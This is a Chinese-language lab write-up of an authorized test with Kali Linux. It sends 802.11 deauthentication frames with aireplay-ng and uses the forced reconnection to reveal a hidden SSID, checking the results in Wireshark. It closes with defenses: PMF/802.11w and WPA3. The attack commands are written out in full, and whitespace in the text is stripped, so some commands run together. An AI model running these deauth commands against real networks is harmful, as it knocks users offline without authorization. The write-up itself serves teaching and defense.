
前言Deauthentication解除认证攻击是 802.11 协议中一个经典的安全缺陷管理帧缺乏身份验证攻击者可以伪造 AP 或客户端发送 Deauth 帧强制设备断开连接。另一个常见误区是“隐藏 SSID 能提高安全性”实际上只要客户端重连真实 SSID 就会在 Probe Response 等帧中暴露。本文记录一次完整的测试过程使用 Kali Linux 和 Ralink RT2870/RT3070 无线网卡先发起 Deauth 攻击并用 Wireshark 分析流量再通过 Deauth 触发重连来发现隐藏 SSID。测试环境操作系统Kali Linux 2025.2无线网卡Ralink Technology RT2870/RT3070USB 2.0支持监听模式测试 AP手机热点2.4GHz测试客户端一台授权测试的手机一、Deauthentication 攻击1. 扫描目标开启监听模式sudoairmon-ng start wlan0以 channel hopping 模式扫描获取目标 AP 的 BSSID、信道以及客户端的 MACsudoairodump-ng wlan0mon假设扫描结果如下目标 AP BSSIDAA:BB:CC:11:22:33信道1客户端 MACDE:AD:BE:EF:00:01将网卡锁定到目标信道sudoairmon-ng start wlan0mon12. 发起 Deauth 攻击使用aireplay-ng发送无限数量的 Deauth 帧aireplay-ng--deauth0-aAA:BB:CC:11:22:33-cDE:AD:BE:EF:00:01 wlan0mon参数说明--deauth 0持续发送 Deauth 帧-a目标 AP 的 BSSID-c目标客户端的 MAC如果不加-c则广播 Deauth所有关联该 AP 的客户端都会断开3. 抓包并分析另开一个终端指定信道抓包sudoairodump-ng wlan0mon--channel1-wsaved--beacons用 Wireshark 打开saved-01.cap过滤所有 Deauthentication 帧wlan.fc.type_subtype 0x0cDeauthentication 帧属于管理帧Type0Subtype120x0c。进一步过滤出目标 AP 和客户端之间的 Deauth 帧wlan.bssid AA:BB:CC:11:22:33 wlan.da DE:AD:BE:EF:00:01在报文详情中可以看到 Frame Control 字段Type0管理帧Subtype12Deauthentication二、发现隐藏 SSID1. 隐藏 SSID 的原理隐藏 SSID 的 AP 在 Beacon 帧中不携带 SSID 字段或长度为 0但这并不意味着 SSID 无法被发现。当客户端发起 Probe Request 或重连时AP 会在 Probe Response、Association Response 等帧中返回真实 SSID。2. 扫描隐藏 AP开启监听模式并扫描sudoairodump-ng wlan0mon假设发现一个隐藏 APBSSID12:34:56:78:9A:BC信道11ESSID 显示为length: 0指定信道抓包sudoairodump-ng wlan0mon--channel11-wsaved--beacons3. 发送 Deauth 触发重连向该 AP 发送一个 Deauth 广播包aireplay-ng--deauth1-a12:34:56:78:9A:BC wlan0mon等待客户端重连观察airodump-ng的输出ESSID 字段会从length: 0变为真实 SSID假设为Hidden-Net。4. Wireshark 验证过滤该 AP 发出的所有 Beacon 帧wlan.fc.type_subtype 0x08 wlan.bssid 12:34:56:78:9A:BC可以看到 SSID 字段为空。再过滤 Probe Response 帧wlan.bssid 12:34:56:78:9A:BC wlan.fc.type_subtype 0x05在报文详情中可以看到 SSID 字段为Hidden-Net说明隐藏 SSID 已被发现。三、总结与防御建议Deauthentication 攻击利用的是管理帧未加密、未认证的设计缺陷。攻击者可以轻易伪造 Deauth 帧强制客户端掉线。隐藏 SSID 不是有效的安全措施。只要客户端重连真实 SSID 就会在 Probe Response 等帧中暴露。防御建议启用 802.11w管理帧保护PMF对 Deauth 等管理帧进行加密认证。使用 WPA3其强制要求 PMF能有效缓解 Deauth 攻击。不要依赖隐藏 SSID 来提升安全性。